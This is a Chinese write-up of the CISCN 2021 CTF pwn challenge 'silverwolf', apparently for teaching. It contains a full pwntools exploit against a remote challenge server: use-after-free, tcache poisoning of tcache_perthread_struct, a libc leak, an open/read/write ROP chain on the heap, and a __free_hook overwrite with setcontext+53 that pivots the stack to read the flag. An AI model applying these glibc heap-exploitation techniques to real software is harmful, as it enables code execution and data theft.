[CISCN 2021 初赛]silverwolf
单 chunk UAF + tcache poisoning 劫持 tcache_perthread_struct + 反复 free 进 unsorted bin 泄露 libc + 堆上布置 ORW ROP + 劫持 __free_hook = setcontext+53 + free 触发栈迁移读 flag
先小小说一下如何下载 glibc-all-in-one 中没有的 libs 文件夹
ubuntu@niuyingying:~/ctf/pwn$ mkdir -p glibc-add-libs/2.27-3ubuntu1.3_amd64
ubuntu@niuyingying:~/ctf/pwn$ cd glibc-add-libs/2.27-3ubuntu1.3_amd64
ubuntu@niuyingying:~/ctf/pwn/glibc-add-libs/2.27-3ubuntu1.3_amd64$ wget http://launchpadlibrarian.net/497108893/libc6_2.27-3ubuntu1.3_amd64.deb
--2026-06-03 17:48:59-- http://launchpadlibrarian.net/497108893/libc6_2.27-3ubuntu1.3_amd64.deb
Connecting to 127.0.0.1:59999... connected.
Proxy request sent, awaiting response... 200 OK
Length: 2830712 (2.7M) [application/x-debian-package]
Saving to: ‘libc6_2.27-3ubuntu1.3_amd64.deb’
libc6_2.27-3ubuntu1.3_am 100%[===============================>] 2.70M 436KB/s in 6.8s
2026-06-03 17:49:07 (407 KB/s) - ‘libc6_2.27-3ubuntu1.3_amd64.deb’ saved [2830712/2830712]
ubuntu@niuyingying:~/ctf/pwn/glibc-add-libs/2.27-3ubuntu1.3_amd64$ dpkg-deb -x libc6_2.27-3ubuntu1.3_amd64.deb extract
ubuntu@niuyingying:~/ctf/pwn$ patchelf --set-interpreter /home/niuyingying/ctf/pwn/glibc-add-libs/2.27-3ubuntu1.3_amd64/extract/lib/x86_64-linux-gnu/ld-2.27.so ./silverwolf
ubuntu@niuyingying:~/ctf/pwn$ patchelf --replace-needed libc.so.6 /home/niuyingying/ctf/pwn/libc-2.27.so ./silverwolf
ubuntu@niuyingying:~/ctf/pwn$ ldd ./silverwolf
linux-vdso.so.1 (0x00007ffd73fa3000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007509541d5000)
/home/niuyingying/ctf/pwn/libc-2.27.so (0x0000750953600000)
/home/niuyingying/ctf/pwn/glibc-add-libs/2.27-3ubuntu1.3_amd64/extract/lib/x86_64-linux-gnu/ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007509541fe000)
接下来我们来检查一下程序的保护机制,保护全开还有沙箱, 默认禁止 syscall,只放行 read(0) 、 write(1) 、 open(2)
ubuntu@niuyingying:~/ctf/pwn$ checksec ./silverwolf
[*] '/home/niuyingying/ctf/pwn/silverwolf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
__int64 setup_io_seccomp()
{
__int64 v0; // rbx
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v0 = seccomp_init(0);
seccomp_rule_add(v0, 2147418112, 0, 0);
seccomp_rule_add(v0, 2147418112, 2, 0);
seccomp_rule_add(v0, 2147418112, 1, 0);
return seccomp_load(v0);
}
分析程序流程可以知道,程序只有一个可操作的块,索引固定为 0 ,同时存在 UAF 漏洞,可以做 tcache poisoning
unsigned __int64 delete()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(1, "Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && buf )
free(buf);
return __readfsqword(0x28u) ^ v2;
}
大致的利用思路就是,先把单个 UAF chunk 劫持到 tcache_perthread_struct 上,通过反复 free 把它送进 unsorted 泄露 libc,再在 heap 上布好两段 ORW ROP,最后用 tcache poisoning 覆盖 __free_hook = setcontext+53,触发 free() 时栈迁移到堆上的 ROP 去 open/read/write 读出 flag
先贴出脚本,然后逐句解释
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./silverwolf')
libc = ELF('./libc-2.27.so')
# io = process('./silverwolf')
io = remote("node4.anna.nssctf.cn",20228)
# io = gdb.debug('./silverwolf', gdbscript='set pagination off\nbreakrva 0xDB5\nbreakrva 0xEBE\nbreakrva 0xF3C\nc')
def add(size):
io.recvuntil(b"Your choice: ")
io.sendline(b"1")
io.recvuntil(b"Index: ")
io.sendline(b"0")
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Done!\n")
def edit_0(data):
io.recvuntil(b"Your choice: ")
io.sendline(b"2")
io.recvuntil(b"Index: ")
io.sendline(b"0")
io.recvuntil(b"Content: ")
io.sendline(data)
def edit_1(data):
io.recvuntil(b"Your choice: ")
io.sendline(b"2")
io.recvuntil(b"Index: ")
io.sendline(b"0")
io.recvuntil(b"Content: ")
io.send(data)
def show():
io.recvuntil(b"Your choice: ")
io.sendline(b"3")
io.recvuntil(b"Index: ")
io.sendline(b"0")
io.recvuntil(b"Content: ")
def delete():
io.recvuntil(b"Your choice: ")
io.sendline(b"4")
io.recvuntil(b"Index: ")
io.sendline(b"0")
add(0x78)
delete()
show()
# 0x00005c27ddd371b0 - 0x5c27ddd36000
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
heap_base = leak - 0x11b0
print(hex(heap_base))
# 劫持 chunk 到 tcache_perthread_struct
edit_0(p64(heap_base + 0x10))
add(0x78)
add(0x78)
for i in range(7):
delete()
edit_0(p64(0) * 2)
delete()
show()
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x70 - libc.sym['__malloc_hook']
print(hex(libc_base))
# 清空 chunk 的用户区避免脏链表状态影响
edit_1(b"\x00" * 0x78)
pop_rdi = libc_base + 0x215bf
pop_rsi = libc_base + 0x23eea
pop_rdx = libc_base + 0x1b96
pop_rax = libc_base + 0x43ae8
pop_rsp = libc_base + 0x3960
syscall = libc_base + 0xd2745
ret = libc_base + 0x8aa
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
free_hook = libc_base + libc.symbols['__free_hook']
mov_rsp_rdi_a0 = libc_base + libc.symbols['setcontext'] + 53
# 0x00005c27ddd36e00 - 0x5c27ddd36000
add(0x10)
edit_0(b"/flag\x00\x00\x00")
flag_addr = heap_base + 0xe00
# fd = open("./flag", 0)
# payload = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
# read(fd, buf, 0x100)
# payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
# write(1, buf, 0x100)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload1 = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(syscall)
payload1 += p64(pop_rdi) + p64(3) + p64(pop_rsp) + p64(heap_base + 0x1500)
payload2 = p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
# 0x00005c27ddd36e20 - 0x5c27ddd36000
add(0x60)
edit_0(payload1)
# 0x00005c27ddd37500 - 0x5c27ddd36000
add(0x60)
edit_1(payload2)
add(0x10)
delete()
edit_0(p64(free_hook + 0xa0))
add(0x10)
add(0x10)
edit_0(p64(heap_base + 0xe20) + p64(ret))
add(0x60)
delete()
edit_0(p64(free_hook))
add(0x60)
add(0x60)
edit_0(p64(mov_rsp_rdi_a0))
delete()
io.interactive()
首先,我们拿到 heap 的基地址,接着先通过 UAF 把 g_chunk 劫持到 tcache_perthread_struct ,再反复 free(tcache_perthread_struct) ,利用 tcache_perthread_struct 大小约是 0x250 ,使反复 free 7 次后进入 unsorted bin ,即可泄露出 libc 基地址
add(0x78)
delete()
show()
# 0x00005c27ddd371b0 - 0x5c27ddd36000
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
heap_base = leak - 0x11b0
print(hex(heap_base))
# 劫持 chunk 到 tcache_perthread_struct
edit_0(p64(heap_base + 0x10))
add(0x78)
add(0x78)
for i in range(7):
delete()
edit_0(p64(0) * 2)
delete()
show()
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x70 - libc.sym['__malloc_hook']
print(hex(libc_base))
再详细讲解一下
- glibc 2.27 的同尺寸 tcache bin 最多缓存 7 个 chunk
- 前 7 次 free() 会把这个 chunk 塞进 tcache
- 但这是同一个 chunk 反复 free,正常会触发 double free 检查
- 所以每次 free() 之后立刻 edit(p64(0)*2),把 chunk 里用于检测的字段清掉,绕过检查
- 第 8 次 free() 时,tcache 该 bin 已满,这个 chunk 就会进入 unsorted bin
ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rdi"
0x00000000000215bf : pop rdi ; ret
ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rsi"
0x0000000000023eea : pop rsi ; ret
ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rdx"
0x0000000000001b96 : pop rdx ; ret
ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rax"
0x0000000000043ae8 : pop rax ; ret
ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --multibr | grep "syscall ; ret"
0x00000000000d2745 : syscall ; ret
ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rsp"
0x0000000000003960 : pop rsp ; ret
ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary libc-2.27.so --only "ret" | head
Gadgets information
============================================================
0x00000000000008aa : ret
由于堆块大小存在限制,因此我们需要利用栈迁移技术将 ROP 链写在两块堆内存中,注意需要将 read 部分的 payload rdx 构造写在 payload1 中,因为大小不够,至于为什么选择 add(0x60) ,这是因为前面那段 tcache_perthread_struct 利用把 0x60+ 大小的堆申请玩坏了
# 0x00005c27ddd36e00 - 0x5c27ddd36000
add(0x10)
edit_0(b"/flag\x00\x00\x00")
flag_addr = heap_base + 0xe00
# fd = open("./flag", 0)
# payload = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
# read(fd, buf, 0x100)
# payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
# write(1, buf, 0x100)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload1 = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(syscall)
payload1 += p64(pop_rdi) + p64(3) + p64(pop_rsp) + p64(heap_base + 0x1500)
payload2 = p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
# 0x00005c27ddd36e20 - 0x5c27ddd36000
add(0x60)
edit_0(payload1)
# 0x00005c27ddd37500 - 0x5c27ddd36000
add(0x60)
edit_1(payload2)
接下来我们劫持 __free_hook ,在 IDA 找到 setcontext 偏移,来个小脚本
from pwn import *
libc = ELF('./libc-2.27.so')
print(hex(libc.sym['setcontext']))
ubuntu@niuyingying:~/ctf/pwn$ python3 exp.py
[*] '/home/niuyingying/ctf/pwn/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x52180
.text:0000000000052180 public setcontext ; weak
.text:0000000000052180 setcontext proc near ; CODE XREF: sub_587B0+C↓p
.text:0000000000052180 ; DATA XREF: LOAD:0000000000009018↑o
.text:0000000000052180 ; __unwind {
.text:0000000000052180 push rdi
.text:0000000000052181 lea rsi, [rdi+128h] ; nset
.text:0000000000052188 xor edx, edx ; oset
.text:000000000005218A mov edi, 2 ; how
.text:000000000005218F mov r10d, 8 ; sigsetsize
.text:0000000000052195 mov eax, 0Eh
.text:000000000005219A syscall ; LINUX - sys_rt_sigprocmask
.text:000000000005219C pop rdi
.text:000000000005219D cmp rax, 0FFFFFFFFFFFFF001h
.text:00000000000521A3 jnb short loc_52200
.text:00000000000521A5 mov rcx, [rdi+0E0h]
.text:00000000000521AC fldenv byte ptr [rcx]
.text:00000000000521AE ldmxcsr dword ptr [rdi+1C0h]
.text:00000000000521B5 mov rsp, [rdi+0A0h]
.text:00000000000521BC mov rbx, [rdi+80h]
.text:00000000000521C3 mov rbp, [rdi+78h]
.text:00000000000521C7 mov r12, [rdi+48h]
.text:00000000000521CB mov r13, [rdi+50h]
.text:00000000000521CF mov r14, [rdi+58h]
.text:00000000000521D3 mov r15, [rdi+60h]
.text:00000000000521D7 mov rcx, [rdi+0A8h]
.text:00000000000521DE push rcx
.text:00000000000521DF mov rsi, [rdi+70h]
.text:00000000000521E3 mov rdx, [rdi+88h]
.text:00000000000521EA mov rcx, [rdi+98h]
.text:00000000000521F1 mov r8, [rdi+28h]
.text:00000000000521F5 mov r9, [rdi+30h]
.text:00000000000521F9 mov rdi, [rdi+68h]
.text:00000000000521F9 ; } // starts at 52180
.text:00000000000521FD ; __unwind {
.text:00000000000521FD xor eax, eax
.text:00000000000521FF retn
找到关键指令
.text:00000000000521B5 mov rsp, [rdi+0A0h]
.text:00000000000521D7 mov rcx, [rdi+0A8h]
.text:00000000000521DE push rcx
再次利用 tcache poisoning 成功 get shell
add(0x10)
delete()
edit_0(p64(free_hook + 0xa0))
add(0x10)
add(0x10)
edit_0(p64(heap_base + 0xe20) + p64(ret))
add(0x60)
delete()
edit_0(p64(free_hook))
add(0x60)
add(0x60)
edit_0(p64(mov_rsp_rdi_a0))
delete()
我们之前已经把 payload 分成两段放进堆里了,接下来我们往 free_hook + 0xa0 写 16 字节,即
[__free_hook + 0xa0] = heap_base + 0xe20
[__free_hook + 0xa8] = ret
然后将 __free_hook = setcontext + 53 ,最后 delete()
此时 free 变成了 free(g_chunk) 即 free(__free_hook) ,于是 glibc 就会调用 (setcontext+53)(__free_hook) ,也就是:
rdi = __free_hook
rip = setcontext+53
那么执行到 push rcx 后栈就会变成
rsp = heap + 0xe18
然后执行 ret:
- 第一次 ret:跳到 ret gadget,rsp 变成 heap+0xe20
- 这个 ret gadget再 ret 一次:跳到 [heap+0xe20],也就是 payload1 开头
最后再小小说一下为什么这道堆题的栈迁移不需要栈题那样额外垫 8 个字节,核心原因是栈的是 leave_ret 型栈迁移,由于会先 pop rbp 因此常需要,而堆这类栈迁移没有 leave